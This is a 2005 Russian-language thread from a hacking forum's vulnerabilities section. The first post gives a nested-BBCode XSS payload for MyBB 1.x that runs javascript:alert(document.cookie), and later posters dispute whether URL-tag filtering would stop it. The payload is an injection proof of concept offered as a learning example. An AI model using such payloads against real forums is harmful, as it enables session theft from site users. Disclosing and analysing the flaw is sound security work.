HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу MyBB 1 (?) XSS
   
Закрытая тема
Страница 1 из 2 1 2 >
 
Опции темы Поиск в этой теме Опции просмотра

MyBB 1 (?) XSS
  #1  
Старый 10.03.2005, 23:03
KEZ
Guest
Сообщений: n/a
С нами:

Репутация:
Lightbulb MyBB 1 (?) XSS
Нашел все теже вложеные теги в MyBB (За что Алголу БОООЛЬШОЙ респект - вложеные теги - его дело))

XSS скорее для развития и получения опыта а не для использования.


Код HTML:
[color=beige][email=aaaaa@bbb.ru[url=style=`background:url(javas	cript:alert(document.cookie))`s="]d[/url]]a[/email][/color]
цвет beige был выбран для того чтобы использовать цвет фона для сообщения

Испытано на MyBB 1.xx, работает на оффсайте.
𝕏 Twitter Reddit Telegram Копировать ссылку
 

  #2  
Старый 10.03.2005, 23:08
KEZ
Guest
Сообщений: n/a
С нами:

Репутация:
По умолчанию
P.s. Я возможно сниму видео, так что тема уже забита...
 

  #3  
Старый 11.03.2005, 13:32
SladerNon
Banned
Регистрация: 06.03.2005
Сообщений: 1,645
С нами: 11147366

Репутация: 901


По умолчанию
Хм, какие тут все умные..... =)
 

  #4  
Старый 11.03.2005, 15:47
KEZ
Guest
Сообщений: n/a
С нами:

Репутация:
По умолчанию
И во-вторых НАПИСАНО ДЛЯ таких как ты
"УЯЗВИМОСТЬ СКОРЕЕ ДЛЯ ПРИМЕРА, ПОЛУЧЕНИЯ ОПЫТА ТЕГОВ А НЕ ДЛЯ ИСПОЛЬЗОВАНИЯ"

Алгол просто придумал использовать вложеные теги в IPB ExBB и других
 

  #5  
Старый 16.03.2005, 10:09
White Jordan
Guest
Сообщений: n/a
С нами:

Репутация:
По умолчанию
Твой код нигде работать небудет. У тебя тут же будет фильтрация в теге урл так как ты за пределы тега невыходишь. И зачем тебе тег мыла вообще?
Последний раз редактировалось White Jordan; 17.03.2005 в 16:14..
 

  #6  
Старый 17.03.2005, 16:12
KEZ
Guest
Сообщений: n/a
С нами:

Репутация:
По умолчанию
Придурок, он работает
 

  #7  
Старый 17.03.2005, 16:56
KEZ
Guest
Сообщений: n/a
С нами:

Репутация:
По умолчанию
Ты все тупее и тупее... Вообщето вложеные теги... И там тег Email.
ЧТО ЗНАЧИТ ЗАЧЕМ ОН ТАМ? Потомучто есть бага БЕЗ тегов, а я сделал с тегами чтобы показать новичкам как работают ВЛОЖЕНЫЕ ТЕГИ, дошло?
Что тебе ещё пояснить?

И этот код РАБОТАЕТ. Будем спорить? Поставь себе Апач (это такой сервер)) и форум (это набор специальных скриптов)) и проверь. Под Ie. Обьяснить ЕЩЁ попроще, а?

И какую тебе ссылку дать?
 

  #8  
Старый 18.03.2005, 02:13
censored!
Green member - Level 3
Регистрация: 02.11.2004
Сообщений: 1,337
С нами: 11325926

Репутация: 648


По умолчанию
=) Мне уже тоже интересно кто прав.
Kez, ты ничего доказывать не обязан, но ради своей репутации - дай ссылку на хорошо посещаемый Форум где это работает именно в том виде, в котором ты дал...
 

  #9  
Старый 18.03.2005, 02:21
expertlamer
Познающий
Регистрация: 15.03.2005
Сообщений: 34
С нами: 11134284

Репутация: 5
По умолчанию
Самая большая проблема что у него код работать небудет, это длина кода в ЮРЛ а во 2-х, самая бэйсик защита во ВСЕХ солидных форумах это фильтрация в теге ЮРЛ. Тег ЮРЛ это самый защищённый тег во ВСЕХ солидных форумах. ЕСЛИ в теге ЮРЛ фильтрации нет, то естественно тег мыла не нужен и был использован чисто для понта.
Последний раз редактировалось expertlamer; 18.03.2005 в 05:04..
 

  #10  
Старый 18.03.2005, 02:31
censored!
Green member - Level 3
Регистрация: 02.11.2004
Сообщений: 1,337
С нами: 11325926

Репутация: 648


По умолчанию
expertlamer, щас дождемся ссылки или опровержения KEZ-а и все само молчо и тихо разрулиться.
Главное - не суетиться и все будет у всех норм. Аллилуя!
 
Закрытая тема
Страница 1 из 2 1 2 >



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.